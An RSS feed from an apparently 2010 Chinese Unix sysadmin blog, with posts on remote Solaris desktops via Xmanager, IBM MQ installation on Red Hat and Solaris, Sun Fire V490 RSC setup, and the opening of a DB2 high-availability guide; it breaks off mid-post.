<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>温室小花.技术.博客 --纯粹的unix技术博客 &#187; 操作系统</title>
	<atom:link href="http://www.evanjiang.net.cn/archives/category/operating_system/feed" rel="self" type="application/rss+xml" />
	<link>http://www.evanjiang.net.cn</link>
	<description>红颜弹指老，刹那芳华，与其天涯思君，恋恋不舍，莫若相忘于江湖！</description>
	<lastBuildDate>Sun, 05 Sep 2010 14:51:18 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>使用Xmanager 远程连接Solaris的方法</title>
		<link>http://www.evanjiang.net.cn/archives/1479.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1479.html#comments</comments>
		<pubDate>Sun, 18 Apr 2010 06:37:07 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[sun unix]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1479</guid>
		<description><![CDATA[<p>


 <p>： 使用 Xmanager 连接远程 Solaris  </p>
<p>环境 ：
管理PC 1  ： 公司局域网 通过 防火墙或路由器 连接至 Internet  </p>
<p>Server ：(Solaris8\9\10)  直接处于 Internet </p>
<p>通过 Pc1 使用 xmanager 远程管理 Solaris Server </p>
<p>（注：如果你的管理PC 直接就是公网ＩＰ地址就没有必要实验本方案，只需配置你的个人防火墙打开６０００端口给Ｓｅｒｖｅｒ就可以） </p>
<p>1:　安装Xmanager2  </p>
<p>Xmanager V2.0 build 0704 </p>
<p>http://www.skycn.com/soft/1138.html</p>
<p>
2:   Solaris 系统默认启动DXCMP，不需要配置 ，只需检查进程是否启动即可
ps -ef&#124;grep dtlogin




    root   521   [...]]]></description>
			<content:encoded><![CDATA[<p style="float: left;margin: 4px;"><script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 160x600, 创建于 10-2-7 */
google_ad_slot = "8970910006";
google_ad_width = 160;
google_ad_height = 600;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p> <p>： 使用 Xmanager 连接远程 Solaris  </p>
<p>环境 ：<br />
管理PC 1  ： 公司局域网 通过 防火墙或路由器 连接至 Internet  </p>
<p>Server ：(Solaris8\9\10)  直接处于 Internet </p>
<p>通过 Pc1 使用 xmanager 远程管理 Solaris Server </p>
<p>（注：如果你的管理PC 直接就是公网ＩＰ地址就没有必要实验本方案，只需配置你的个人防火墙打开６０００端口给Ｓｅｒｖｅｒ就可以） </p>
<p>1:　安装Xmanager2  </p>
<p>Xmanager V2.0 build 0704 </p>
<p>http://www.skycn.com/soft/1138.html</p>
<p><span id="more-1479"></span><br />
2:   Solaris 系统默认启动DXCMP，不需要配置 ，只需检查进程是否启动即可<br />
ps -ef|grep dtlogin<br />
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x15, 创建于 10-3-23 */
google_ad_slot = "9129041183";
google_ad_width = 728;
google_ad_height = 15;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br />
    root   521     1   0   3&Ocirc;&Acirc; 30 ?           0:00 /usr/dt/bin/dtlogin -daemon<br />
    root   616   521   0   3&Ocirc;&Acirc; 30 ?           0:00 /usr/dt/bin/dtlogin -daemon<br />
    root 26766 24105   0 15:19:47 pts/3       0:00 grep dtlogin<br />
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, 创建于 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br />
如果没有启动 delogin start </p>
<p>3：配置管理PC1 局域网出口的防火墙或路由器 </p>
<p>比如 管理PC1 的内网IP 172.16.0.111   局域网出口IP  111.111.111.111<br />
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x15, 创建于 10-3-23 */
google_ad_slot = "9129041183";
google_ad_width = 728;
google_ad_height = 15;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br />
配置 NAT<br />
将出口IP：111.111.111.111 的 6001 端口 NAT 至 内网　管理PC1的6000端口 </p>
<p>4:  在Xmanager 打开 Xbrowser<br />
新建 New Xmanager Session<br />
修改 属性<br />
xdmcp Conection Method : XDM Query </p>
<p>xdmcp Host:  Solaris Server IP </p>
<p>xdmcp Port:177 </p>
<p>xdmcp Local Address: Auto Select </p>
<p>Proxy  选中  Use Following Connection address </p>
<p>Proxy Host ： 防火墙中NAT 的OutSide IP(111.111.111.111)<br />
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x15, 创建于 10-3-23 */
google_ad_slot = "9129041183";
google_ad_width = 728;
google_ad_height = 15;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br />
Proxy Port：6001 </p>
<p>5: 如果你的Solaris Server 安装中文字体，请使用 Xmanager的中文字体补丁<br />
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, 创建于 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br />
Xmanager 中文字体 </p>
<p>http://www.netsarang.com/download/main.html#fonts</p>
<p>6: 1-5 全部操作后，就可通过 刚刚建立的New Xmanager Session连接你的Solaris Server的桌面</p>
<p><script type="text/javascript"><!--
  google_ad_client = "pub-8438729971248494";
  google_ad_format = "js_sdo";
  google_cts_mode ="rs";
  google_num_cts = "8";
  google_searchbox_color_border = "0066CC";
  google_searchbox_width = 585;
  google_searchbox_height = 26;
  google_link_target = 2;
  google_logo_pos = "left";
  google_rs_pos = "below";
  google_ad_height = 90;
  google_ad_width = 728;
//-->
</script>
<script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_sdo.js">
</script>
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1479.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Install MQ on Redhat Linux</title>
		<link>http://www.evanjiang.net.cn/archives/1461.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1461.html#comments</comments>
		<pubDate>Tue, 09 Feb 2010 09:14:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[WebSphere]]></category>
		<category><![CDATA[redhat linux]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1461</guid>
		<description><![CDATA[<p style="float: right;margin: 4px;">


</p> <p>To install MQ on RedHat  Linux please note following:
1.        Create group/user need from Control Center
a)        Log in as root. Create MQ groups and users from the yast2 Control Center.
1.        [...]]]></description>
			<content:encoded><![CDATA[<p>To install MQ on RedHat  Linux please note following:<br />
1.        Create group/user need from Control Center<br />
a)        Log in as root. Create MQ groups and users from the yast2 Control Center.<br />
1.        Log in as root. Create MQ groups and users from the yast2 Control Center.<br />
  a. Create the mqm and mqbrkrs user groups:<br />
1) Click Security &#038; Users > Groups > Add a Group.<br />
2) Set the name field to mqm and create the user group.<br />
3) Create the mqbrkrs user group in the same way.</p>
<p>b. Create the mqm user:<br />
1) Click Security &#038; Users > Users > Add a User.<br />
2) Set the name field to mqm and create the user.<br />
3) Click Security &#038; Users > Change a Users Password > Passwords to add a password to the new user </p>
<p>c.Add the mqm and root users to the mqm group:<br />
1) Click Security &#038;Users > Users > Change / Show Characteristics of a User.<br />
2) Enter mqm in the User Name field. 50 IBM WebSphere Application Server: Getting Started<br />
3) Add mqm to the Group SET field, which is a comma-separated list of the groups to which the user belongs.<br />
4) Add root to the mqm group and the mqbrkrs group.<br />
Or Use Script:<br />
linux:~ # groupadd mqm<br />
linux:~ # groupadd mqbrkrs<br />
linux:~ # useradd -g mqm -G mqbrkrs -m mqm<br />
linux:~ # usermod -G mqm root<br />
Adding user root to group mqm<br />
linux:~ # gpasswd -a root mqbrkrs<br />
Adding user root to group mqbrkrs<br />
linux:~ # passwd mqm<br />
Changing password for mqm.<br />
New password:<br />
Re-enter new password:<br />
Password changed<br />
<span id="more-1461"></span><br />
linux:~ #<br />
b)        Copy&#038;mount CD17 to your target linux.Go to folder: CD17\WSMQ5302_LINUX\MQ5302<br />
c)        Run the mqlicense.sh script. If you want to view a text-only version of license, which can be read by a screen-reader, type:<br />
./mqlicense.sh -text_only<br />
The license is displayed.<br />
If want to accept the license without it being displayed, you can run the mqlicense.sh script with the -accept option.<br />
./mqlicense.sh -accept<br />
You must accept the license agreement before you can proceed with the installation.<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
NOTE: If you see below error message -><br />
Problem<br />
You install WebSphere- MQ v5.3 on Linux-. You run the &#8220;./mqlicense.sh -accept&#8221; command to accept the license and receive the following error:<br />
./mqlicense.sh: line 131: 18670 Segmentation fault<br />
${JRE?} -cp<br />
${LAPCLASSPATH?} com.ibm.lex.lapapp.LAP -l<br />
${PROGPATH?}/lap/licenses -s /tmp/mq_license<br />
${STATUSARG}<br />
${DISPLAYARG}<br />
ERROR: Installation will not succeed unless the license agreement can be accepted. If the error was caused by a display problem, read the         license agreement file in the &#8216;License&#8217; directory, and then run the following command:<br />
mqlicense.sh -accept<br />
Only use this command if you accept the license agreement. For other errors, contact your IBM support center.</p>
<p>You need to run below steps firstly -><br />
#1. Read the license agreement in the License directory<br />
#2. export LD_ASSUME_KERNEL=2.4.19<br />
#3. mkdir -p /tmp/mq_license/license<br />
#4. echo 9 > /tmp/mq_license/license/status.dat<br />
                or<br />
   touch /tmp/mq_license/license/status.dat<br />
d)        There the following rpm files: (You can only install the rpms in blue)<br />
MQSeriesRuntime-5.3.0-2.i386.rpm<br />
MQSeriesSDK-5.3.0-2.i386.rpm<br />
MQSeriesServer-5.3.0-2.i386.rpm<br />
MQSeriesJava-5.3.0-2.i386.rpm<br />
MQSeriesMan-5.3.0-2.i386.rpm<br />
MQSeriesSamples-5.3.0-2.i386.rpm<br />
MQSeriesClient-5.3.0-2.i386.rpm<br />
MQSeriseIES30&#8230;..rpm<br />
MQSeriseConfig&#8230;.rpm    (If you want to use MQ explorer on Linux, install these two RPM)</p>
<p>MQSeriesKeyMan-5.3.0-2.i386.rpm<br />
MQSeriesMsg_Zh_CN-5.3.0-2.i386.rpm<br />
MQSeriesMsg_Zh_TW-5.3.0-2.i386.rpm<br />
MQSeriesMsg_de-5.3.0-2.i386.rpm<br />
MQSeriesMsg_es-5.3.0-2.i386.rpm<br />
MQSeriesMsg_fr-5.3.0-2.i386.rpm<br />
MQSeriesMsg_it-5.3.0-2.i386.rpm<br />
MQSeriesMsg_ja-5.3.0-2.i386.rpm<br />
MQSeriesMsg_ko-5.3.0-2.i386.rpm<br />
MQSeriesMsg_pt-5.3.0-2.i386.rpm<br />
gsk6bas-6.0-3.33.i386.rpm<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
by command: rpm -ivh ***.rpm<br />
e)        Go to folder:\WSMQ5302_LINUX\MQ_CSD08<br />
f)        There the following rpm files: (You can only install the rpms in blue)<br />
MQSeriesRuntime-U497537-5.3.0-8.i386.rpm<br />
MQSeriesSDK-U497537-5.3.0-8.i386.rpm<br />
MQSeriesServer-U497537-5.3.0-8.i386.rpm<br />
MQSeriesJava-U497537-5.3.0-8.i386.rpm<br />
MQSeriesMan-U497537-5.3.0-8.i386.rpm<br />
MQSeriesClient-U497537-5.3.0-8.i386.rpm<br />
MQSeriesSamples-U497537-5.3.0-8.i386.rpm<br />
MQSeriseConfig&#8230;.rpm<br />
MQSeriseIES30&#8230;..rpm   (If you want to use MQ explorer on Linux, install these two RPM)</p>
<p>MQSeriesKeyMan-U497537-5.3.0-8.i386.rpm<br />
MQSeriesTXClient-U497537-5.3.0-8.i386.rpm<br />
MQSeriesFTA-U497537-5.3.0-8.i386.rpm<br />
gsk6bas-6.0-5.41.i386.rpm<br />
g)        Uninstall MQSeries<br />
In the MQSeries for Linux Quick Beginnings Book, it describes to uninstall all of the MQSeries files at once<br />
using the command:<br />
rpm -q -a | grep &#8220;MQSeries&#8221; | xargs rpm -e<br />
however, if a Queue Manager is running when you issue this command then only part of MQSeries will be uninstalled.<br />
From that point onwards you will be unable to stop any remaining Q-Managers or uninstall the remaining components.<br />
YOU MUST ENSURE THAT YOU STOP ALL RUNNING QUEUE MANAGERS BEFORE ATTEMPTING TO USE THIS COMMAND(stop WAS).<br />
If you do run this command, while a queue manager is running, then you will need to either reboot your machine or<br />
re-install the removed parts of MQSeries to allow you to stop the Queue Manager before you can fully complete the uninstallation.<br />
NOTE:<br />
There may some errors in the uninstall processing when you installed MQSeries patches, you can use command &#8216;<br />
rpm -q -a | grep &#8220;MQSeries&#8221;&#8216; to check which rpm pack still in the system and use command &#8216;rpm -e
<pack name>&#8216; to uninstall them from high level to low.<br />
If install fail, use rpm -ivh xxx.rpm &#8211;replacefiles to install again</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1461.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>sun v490 服务器solaris10 安装mq 记录</title>
		<link>http://www.evanjiang.net.cn/archives/1459.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1459.html#comments</comments>
		<pubDate>Tue, 09 Feb 2010 07:34:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[WebSphere]]></category>
		<category><![CDATA[sun unix]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1459</guid>
		<description><![CDATA[<p>一、安装过程
1、某天下午对SUN的1个服务器v490进行安装
2、安装完成后用MQM的自测命令检查，确认OK</p>
<p>二、WAS原始安装文件所在目录
/bak/mqm_install</p>
<p>三、mqm安装后，默认程序是安装在/OPT/mqm下，数据安装在var/mqm目录下
四、安装过程如下：
　　（1）SUN下
     a.用ROOT用户登录后，创建用户组与用户mqm,口令是mqm,mqm用户加入root用户组
       groupadd mqm
       useradd -G mqm,root -d /opt/mqm -s -m /bin/bash mqm
       passwd mqm
       -input mqm,mqm
     b.在mqm目录下建立目录mqm_ins , 用ftp工具把安装文件包tar文件放入其中，然后解包
    [...]]]></description>
			<content:encoded><![CDATA[<p>一、安装过程<br />
1、某天下午对SUN的1个服务器v490进行安装<br />
2、安装完成后用MQM的自测命令检查，确认OK</p>
<p>二、WAS原始安装文件所在目录<br />
/bak/mqm_install</p>
<p>三、mqm安装后，默认程序是安装在/OPT/mqm下，数据安装在var/mqm目录下<br />
四、安装过程如下：<br />
　　（1）SUN下<br />
     a.用ROOT用户登录后，创建用户组与用户mqm,口令是mqm,mqm用户加入root用户组<br />
       groupadd mqm<br />
       useradd -G mqm,root -d /opt/mqm -s -m /bin/bash mqm<br />
       passwd mqm<br />
       -input mqm,mqm<br />
     b.在mqm目录下建立目录mqm_ins , 用ftp工具把安装文件包tar文件放入其中，然后解包<br />
       mkdir mqm_ins<br />
       cd mqm_ins<br />
        &#8212;ftp tar file<br />
       tar xvf *<br />
     c.回到mqm目录，修改profile文件参数<br />
       cd ..<br />
       vi .profile<br />
       把整理好的profile参数放入其中&#8230;文件为&#8221;profile-待放入系统配置&#8221;<br />
     d.去到/etc/目录下，修改system文件，按用户要求修改内核参数，参考文件“etc-system-待放入系统配置”<br />
　　　　放入后保存。<br />
　　 e.回到mqm_ins目录下执行安装<br />
       先执行认证<br />
       ./mqlicense.sh，输入1接受协议，然后回车继续安装<br />
       提示完成后，再执行<br />
       pkgadd -d .<br />
     　执行安装过程，每一步按默认参数选择ALL或回车，安装所有组件包，最后提示MQM安装完成。</p>
<p><span id="more-1459"></span><br />
五、验证安装<br />
    1、mqm用户登录<br />
       创建队列venus.queue.manager<br />
       crtmqm -q venus.queue.manager<br />
       启动队列管理器<br />
　　　 strmqm<br />
       启用MQSC命令<br />
       runmqsc<br />
       进入环境后，定义名为ORANGE.QUEUE的本地队列<br />
       define qlocal (orange.queue)<br />
       end  (停止MQSC)<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
　　　　现在，已定义下列各项：名为venus.queue.manager的缺省队列管理器，名为ORANGE.QUEUE的队列</p>
<p>        转到/opt/mqm/samp/bin目录下，使用amqsput样本程序来将消息放入队列，以且使用amqsget样本程序来从队列取回消息<br />
        dspmq  命令可显示MQM队列状态<br />
        ./amqsput ORANGE.QUEUE<br />
        输入一行文字，然后以空行结束，退出<br />
　　　　./amqsget ORANGE.QUEUE<br />
        可显示刚才放入队列的消息，成功提示即证明完成。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
       </p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1459.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sun Fire™ V490 RSC配置说明 (参考网上文章）</title>
		<link>http://www.evanjiang.net.cn/archives/1457.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1457.html#comments</comments>
		<pubDate>Tue, 09 Feb 2010 07:30:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[sun unix]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1457</guid>
		<description><![CDATA[<p>与V240不同的是，Sun Fire™ V480, V880, V490, and V890 SC使用的不是ALOM而是RSC，RSC的配置可以在正常状态#下完成，并不需要借助console口！rsc</p>
<p>的配置软件不是系统默认安装的，首先要在服务器上安装rsc的软件包Sun Remote System Control (RSC) 2.2.3 Software，可以在sun的补丁光盘里面找到</p>
<p>，位于光盘的目录：sun/progs/RSC/2.2.3中。该软件包也可以从sun的网站上下载，如下是参考链接地址：</p>
<p>http://www.sun.com/servers/rsc.html</p>
<p>在solaris 8上软件包是rsc2.2.3_packages_s8.zip，solaris 9和solaris 10使用同样的软件包是rsc2.2.3_packages_s8.zip</p>
<p>该软件安装步骤如下：</p>
<p>先准备软件包，然后解压缩，</p>
<p># unzip rsc2.2.3_packages_s8.zip</p>
<p>解压缩后出现很多的软件包，如下：</p>
<p>README SUNWfrscd SUNWkrscd</p>
<p>README-RSC SUNWfrscj SUNWkrscj</p>
<p>SUNWcrsc SUNWhrsc SUNWrsc</p>
<p>SUNWcrscd SUNWhrscd SUNWrscd</p>
<p>SUNWcrscj SUNWhrscj SUNWrscj</p>
<p>SUNWdersc SUNWirscd SUNWsrscd

SUNWdrscd SUNWirscj SUNWsrscj</p>
<p>SUNWdrscj SUNWitrsc SUNWsvrsc</p>
<p>SUNWerscd SUNWjersc en_us_relnotes.pdf</p>
<p>SUNWerscj SUNWjrscd rsc2.2.3_packages_s8.zip</p>
<p>SUNWesrsc SUNWjrscj rsc2.2.3_packages_s9.zip</p>
<p>SUNWfrrsc SUNWkrsc软件包中是针对不同语言环境不同的软件包，英文的软件包是必须安装的，中文的软件包是
SUNWcrsc SUNWcrscd SUNWcrscj </p>
<p>英文的软件包是：
SUNWrsc SUNWrscd SUNWrscj</p>
<p>除了中文和英文的软件包外把多余的软件包删除掉，剩下如下软件包：</p>
<p>README SUNWcrscj en_us_relnotes.pdf</p>
<p>README-RSC SUNWrsc rsc2.2.3_packages_s8.zip








SUNWcrsc SUNWrscd rsc2.2.3_packages_s9.zip</p>
<p>SUNWcrscd SUNWrscj</p>
<p>然后安装这些软件包。</p>
<p># pkgadd [...]]]></description>
			<content:encoded><![CDATA[<p>与V240不同的是，Sun Fire™ V480, V880, V490, and V890 SC使用的不是ALOM而是RSC，RSC的配置可以在正常状态#下完成，并不需要借助console口！rsc</p>
<p>的配置软件不是系统默认安装的，首先要在服务器上安装rsc的软件包Sun Remote System Control (RSC) 2.2.3 Software，可以在sun的补丁光盘里面找到</p>
<p>，位于光盘的目录：sun/progs/RSC/2.2.3中。该软件包也可以从sun的网站上下载，如下是参考链接地址：</p>
<p>http://www.sun.com/servers/rsc.html</p>
<p>在solaris 8上软件包是rsc2.2.3_packages_s8.zip，solaris 9和solaris 10使用同样的软件包是rsc2.2.3_packages_s8.zip</p>
<p>该软件安装步骤如下：</p>
<p>先准备软件包，然后解压缩，</p>
<p># unzip rsc2.2.3_packages_s8.zip</p>
<p>解压缩后出现很多的软件包，如下：</p>
<p>README SUNWfrscd SUNWkrscd</p>
<p>README-RSC SUNWfrscj SUNWkrscj</p>
<p>SUNWcrsc SUNWhrsc SUNWrsc</p>
<p>SUNWcrscd SUNWhrscd SUNWrscd</p>
<p>SUNWcrscj SUNWhrscj SUNWrscj</p>
<p>SUNWdersc SUNWirscd SUNWsrscd<br />
<span id="more-1457"></span><br />
SUNWdrscd SUNWirscj SUNWsrscj</p>
<p>SUNWdrscj SUNWitrsc SUNWsvrsc</p>
<p>SUNWerscd SUNWjersc en_us_relnotes.pdf</p>
<p>SUNWerscj SUNWjrscd rsc2.2.3_packages_s8.zip</p>
<p>SUNWesrsc SUNWjrscj rsc2.2.3_packages_s9.zip</p>
<p>SUNWfrrsc SUNWkrsc软件包中是针对不同语言环境不同的软件包，英文的软件包是必须安装的，中文的软件包是<br />
SUNWcrsc SUNWcrscd SUNWcrscj </p>
<p>英文的软件包是：<br />
SUNWrsc SUNWrscd SUNWrscj</p>
<p>除了中文和英文的软件包外把多余的软件包删除掉，剩下如下软件包：</p>
<p>README SUNWcrscj en_us_relnotes.pdf</p>
<p>README-RSC SUNWrsc rsc2.2.3_packages_s8.zip<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
SUNWcrsc SUNWrscd rsc2.2.3_packages_s9.zip</p>
<p>SUNWcrscd SUNWrscj</p>
<p>然后安装这些软件包。</p>
<p># pkgadd -d .</p>
<p>安装完之后，会在/usr/platform/`uname -i`/ 路径下生成rsc目录</p>
<p># cd /usr/platform/`uname -i`/rsc</p>
<p># ./ rsc-initscript </p>
<p># ./rsc-config</p>
<p>Continue with RSC setup (y|n): y</p>
<p>Set RSC date/time now (y|n|?) [y]:<br />
Server Hostname [SUN280R]:<br />
Edit customer info field (y|n|?) [n]:<br />
Enable RSC Ethernet Interface (y|n|s|?) [n]: y<br />
RSC IP Mode (config|dhcp|?) [dhcp]: n<br />
RSC IP Mode (config|dhcp|?) [dhcp]: config<br />
RSC IP Address []: 192.168.81.12<br />
RSC IP Netmask [255.255.255.0]:<br />
RSC IP Gateway []: 192.168.81.254<br />
Enable RSC Alerts (y|n|s|?) [n]:<br />
Enable RSC Modem Interface (y|n|s|?) [n]:<br />
Enable RSC Serial Port Interface (y|n|s|?) [n]:<br />
Setup RSC User Account (y|n|?) [y]:<br />
Username []: admin<br />
User Permissions (c,u,a,r|none|?) [cuar]: </p>
<p>Verifying Selections</p>
<p>General Setup</p>
<p>Set RSC date now = y<br />
Server Hostname = PMDB01</p>
<p>Set Customer Info = n</p>
<p>Is this correct (y|n): y<br />
Ethernet Setup<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
IP Mode = config<br />
IP Address = 192.168.81.12<br />
IP Netmask = 255.255.255.0<br />
IP Gateway = 192.168.81.254</p>
<p>Is this correct (y|n): y</p>
<p>Alert Setup<br />
Alerts disabled</p>
<p>Is this correct (y|n): y </p>
<p>Modem Setup<br />
&#8212;&#8212;&#8212;&#8211;<br />
 Modem disabled, ppp disabled</p>
<p>Is this correct (y|n): y</p>
<p>Serial Port Setup<br />
 Serial port disabled<br />
Is this correct (y|n): y</p>
<p>User Setup<br />
User Name = neusoft<br />
User Permissions = cuar<br />
Is this correct (y|n): y</p>
<p>This script will now update RSC, continue? (y|n): y<br />
Updating flash, this takes a few minutes<br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;..<br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;<br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;<br />
Download completed successfully</p>
<p>Resetting RSC (takes about 90 seconds):<br />
DONE<br />
Setting up server to update RSC date on boot: DONE<br />
Setting up server hostname: DONE<br />
Setting up ethernet interface: DONE<br />
Disabling RSC alert engine: DONE<br />
Disabling modem interface: DONE<br />
Disabling serial port interface: DONE<br />
Adding user to RSC:<br />
rscadm: user already exists<br />
when this script completes,<br />
use the rscadm command to correct the error.<br />
Resetting RSC (takes about 90 seconds):<br />
Are you sure you want to reboot RSC (y/n)? y</p>
<p>DONE<br />
Setting up RSC date: DONE</p>
<p>*******************************<br />
RSC has been successfully setup</p>
<p>至此，配置完毕，可以使用telnet连接RSC</p>
<p>与V240类似，系统也提供了rscadm命令用于在正常状态下管理配置rsc!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1457.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>在Linux上实现DB2双机HA完整方案</title>
		<link>http://www.evanjiang.net.cn/archives/1449.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1449.html#comments</comments>
		<pubDate>Sat, 30 Jan 2010 14:58:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[db2]]></category>
		<category><![CDATA[suse linux]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1449</guid>
		<description><![CDATA[<p>1. 摘要 </p>
<p>　　本文档介绍在SuSE Linux Enterprise Server v8.0(SLES 8)上安装配置DB2 UDB Enterprise Serverv8.2双机互备的高可靠性方案的基本步骤。该方案配合采用SLES的卷管理器(LVM)和Veritas Cluster Server v2.2(VCS 2.2)作为HA实现组件。 </p>
<p>2. 概述 </p>
<p>　本文档假定读者已经理解双机互备的HA方案的基本概念。 </p>
<p>2.1. 双机互备HA方案的基本步骤 </p>
<p>　　建立一个双机互备方案的基本步骤是：
1. 确定基本参数(如IP地址、存储空间，等等。本方案的参数均为示范参数，读者需要根据实际环境替换)
2. 配置共享存储(本方案不涉及共享存储方案的配置)
3. 在两台节点上分别安装应用(在本方案中是DB2 UDB)
4. 在一台节点上对应用作初始配置(在本方案中是在共享存储上建立DB2数据库)
5. 在另一台节点上引入共享存储上的配置(在本方案中是对共享存储上的数据库做catalog操作)
6. 在两台节点上分别手动测试应用
7. 配置HA Cluster管理软件(在本方案中是VCS)
8. 测试HA Cluster管理软件可以成功接管资源</p>
<p>2.2. 假设 </p>
<p>　　本文档假定采用以下示例环境，SLES与VCS已在节点上正确安装，SLES的共享存储已经正确连接，VCS的心跳连接已经正确配置。

2.2.1. 存储 </p>
<p>　　各节点上需要足够的本地磁盘空间，来安装DB2 UDB的可执行代码及实例。 </p>
<p>　　本方案需要足够的共享存储空间，来放置数据库数据。 </p>
<p>　　假定共享存储上分配给DB2数据库的卷组名为/dev/datavg1，逻辑卷名为/dev/datavg1/db2lv1(使用SLES的LVM服务)，在两个节点上的挂接点名为/home/db2data，且已正确格式化为合适的文件系统(Veritas工程师指出在SLES 8上VCS 2.2不支持ext3文件系统，建议格式化时指定ext2，在SLES 9和VCS 4.1上不存在这个问题)。注意这个挂接点要在fstab文件中配置为启动时不自动挂接。 </p>
<p>　　数据库其他表空间可以建立在共享存储的其他卷上，如果是文件系统，同样要配置为不自动挂接。本文档暂不讨论。 </p>
<p>2.2.2. 节点 </p>
